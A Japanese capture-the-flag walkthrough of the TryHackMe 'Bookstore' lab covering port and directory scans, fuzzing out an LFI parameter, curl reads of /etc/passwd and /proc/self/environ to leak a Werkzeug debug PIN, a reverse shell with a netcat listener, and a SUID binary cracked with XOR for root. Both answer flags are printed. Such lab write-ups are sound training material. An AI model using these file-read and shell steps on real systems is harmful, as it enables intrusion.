概要
TryHackMe「Bookstore」のWalkthroughです。
Task1
Q1.User flag
ポートスキャンを実行します。
$ nmap -Pn -T4 -sCV -p- 10.48.184.19 -oN nmap_result -vvv
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 62 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 44:0e:60:ab:1e:86:5b:44:28:51:db:3f:9b:12:21:77 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCs5RybjdxaxapwkXwbzqZqONeX4X8rYtfTsy7wey7ZeRNsl36qQWhTrurBWWnYPO7wn2nEQ7Iz0+tmvSI3hms3eIEufCC/2FEftezKhtP1s4/qjp8UmRdaewMW2zYg+UDmn9QYmRfbBH80CLQvBwlsibEi3aLvhi/YrNCzL5yxMFQNWHIEMIry/FK1aSbMj7DEXTRnk5R3CYg3/OX1k3ssy7GlXAcvt5QyfmQQKfwpOG7UM9M8mXDCMiTGlvgx6dJkbG0XI81ho2yMlcDEZ/AsXaDPAKbH+RW5FsC5R1ft9PhRnaIkUoPwCLKl8Tp6YFSPcANVFYwTxtdUReU3QaF9
| 256 59:2f:70:76:9f:65:ab:dc:0c:7d:c1:a2:a3:4d:e6:40 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCbhAKUo1OeBOX5j9stuJkgBBmhTJ+zWZIRZyNDaSCxG6U817W85c9TV1oWw/A0TosCyr73Mn73BiyGAxis6lNQ=
| 256 10:9f:0b:dd:d6:4d:c7:7a:3d:ff:52:42:1d:29:6e:ba (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAr3xDLg8D5BpJSRh8OgBRPhvxNSPERedYUTJkjDs/jc
80/tcp open http syn-ack ttl 62 Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Book Store
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-favicon: Unknown favicon MD5: 834559878C5590337027E6EB7D966AEE
5000/tcp open http syn-ack ttl 62 Werkzeug httpd 0.14.1 (Python 3.6.9)
| http-methods:
|_ Supported Methods: HEAD OPTIONS GET
|_http-server-header: Werkzeug/0.14.1 Python/3.6.9
|_http-title: Home
| http-robots.txt: 1 disallowed entry
|_/api </p>
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
ポートの稼働状況が分かりました。
| ポート | サービス | バージョン |
|---|---|---|
| 22 | ssh | OpenSSH 7.6p1 |
| 80 | http | Apache/2.4.29 |
| 5000 | http | Werkzeug httpd 0.14.1 (Python 3.6.9) |
80番ポートのディレクトリスキャンをします。
$ dirsearch -u http://10.48.184.19/
[09:34:59] 301 - 313B - /assets -> http://10.48.184.19/assets/
[09:34:59] 200 - 478B - /assets/
[09:35:03] 200 - 1KB - /books.html
[09:35:20] 200 - 15KB - /favicon.ico
[09:35:26] 200 - 523B - /images/
[09:35:26] 301 - 313B - /images -> http://10.48.184.19/images/
[09:35:29] 301 - 317B - /javascript -> http://10.48.184.19/javascript/
[09:35:32] 200 - 6KB - /LICENSE.txt
[09:35:34] 200 - 1KB - /login.html
/assets/js/api.jsを確認します。
コメントアウトを見ると、以前のバージョンではLFIの脆弱性があるようです。
//the previous version of the api had a paramter which lead to local file inclusion vulnerability, glad we now have the new version which is secure.
5000番ポートのディレクトリスキャンをします。
$ dirsearch -u http://10.48.184.19:5000
[09:38:12] 200 - 825B - /api
[09:38:12] 200 - 825B - /api/
[09:38:37] 200 - 2KB - /console
[09:40:02] 200 - 45B - /robots.txt
/apiを確認すると、ドキュメントが記載されています。
以下エンドポイントが判明しました。
/api/v2/resources/books/all
/api/v2/resources/books/random4
/api/v2/resources/books?id=1
/api/v2/resources/books?author=J.K. Rowling
/api/v2/resources/books?published=1993
/api/v2/resources/books?author=J.K. Rowling&published=2003
v1でLFIの脆弱性があるという出の、v1でのパラメータを探します。
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -u http://10.49.165.221:5000/api/v1/resources/books?FUZZ=/etc/passwd -c
show [Status: 200, Size: 1555, Words: 9, Lines: 31, Duration: 136ms]
パラメータが分かったので、確認するとLFIに成功したと分かります。
$ curl http://10.49.165.221:5000/api/v1/resources/books?show=/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sid:x:1000:1000:Sid,,,:/home/sid:/bin/bash
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
環境変数を確認すると、PINコードが分かりました。
$ curl http://10.49.165.221:5000/api/v1/resources/books?show=/proc/self/environ -o env.txt && cat env.txt
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 210 100 210 0 0 771 0 0
LANG=en_US.UTF-8OLDPWD=/home/sidPWD=/home/sidHOME=/home/sidWERKZEUG_DEBUG_PIN=123-321-135SHELL=/bin/shSHLVL=1LOGNAME=sidPATH=/usr/bin:/bin_=/usr/bin/python3WERKZEUG_SERVER_FD=3WERKZEUG_RUN_MAIN=true
PINコード123-321-135を入力し、python consoleにアクセスできました。
pythonでリバーシェルのコードを実行し、シェルを張れました。
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.183.253] from (UNKNOWN) [10.49.165.221] 43294
$ id
id
uid=1000(sid) gid=1000(sid) groups=1000(sid)
ユーザーフラグを入手できました。
$ cat user.txt
cat user.txt
4ea65eb80ed441adb68246ddf7b964ab
A.4ea65eb80ed441adb68246ddf7b964ab
Q2.Root flag
SUIDが設定されたファイルを検索すると、try-harderというファイルを発見しました。
-rwsrwsr-x 1 root sid 8488 Oct 20 2020 try-harder
文字列を探すと、マジックナンバーの認証に成功すると、権限昇格が出来ると分かりました。
$ strings try-harder
What's The Magic Number?!
/bin/bash -p
Ghidraでリバースエンジニアリングを行い、main関数を確認します。
処理を確認していくと、入力値を受け取り処理した結果、0x5dcd21f4の値になるかを判定していると分かりました。
以下の計算式で値が処理されます。
入力値 ^ 0x1116 ^ 0x5db3 = 0x5dcd21f4
XORは2回実行すると元の値に戻るので、以下の計算式で必要な入力値を算出できます。
入力値 = 0x1116 ^ 0x5db3 ^ 0x5dcd21f4
pythonでxorを実行します。
magic_number = 0x5dcd21f4 ^ 0x5db3 ^ 0x1116
print(f"16進数: {hex(magic_number)}")
print(f"10進数: {magic_number}")
結果が出ました。
$ python xor_dec.py
16進数: 0x5dcd6d51
10進数: 1573743953
10進数を入力すると、root権限に昇格出来ました。
$ ./try-harder
./try-harder
What's The Magic Number?!
1573743953
1573743953
root@bookstore:~# id
id
uid=0(root) gid=1000(sid) groups=1000(sid)
ルートフラグを入手できました。
root@bookstore:/root# cat /root/root.txt
cat /root/root.txt
e29b05fba5b2a7e69c24a450893158e3
A.e29b05fba5b2a7e69c24a450893158e3


